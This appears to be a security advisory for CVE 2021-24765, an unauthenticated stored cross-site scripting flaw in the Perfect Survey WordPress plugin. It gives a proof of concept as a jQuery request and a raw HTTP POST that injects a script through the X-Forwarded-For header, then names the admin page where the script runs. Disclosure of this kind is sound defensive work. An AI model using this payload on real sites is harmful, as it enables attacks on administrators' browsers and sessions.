Perfect Survey < 1.5.2 – Unauthenticated Stored Cross-Site Scripting | CVE 2021-24765

Description

The plugin does not validate and escape the X-Forwarded-For header value before outputting it in the statistic page when the Anonymize IP setting of a survey is turned off, leading to a Stored Cross-Site Scripting issue

Proof of Concept

jQuery.post({data:{
ps_questions:{1:["1"]},
action:"save_question_data",
ID:"765",
},url:"https://example.com/wp-admin/admin-ajax.php",headers:{"X-Forwarded-For":"<script>alert(/XSS/)</script>"}})


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Forwarded-For: <script>alert(/XSS/)</script>
X-Requested-With: XMLHttpRequest
Content-Length: 60
Connection: close

ps_questions%5B1%5D%5B%5D=1&action=save_question_data&ID=765


Then go to https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=765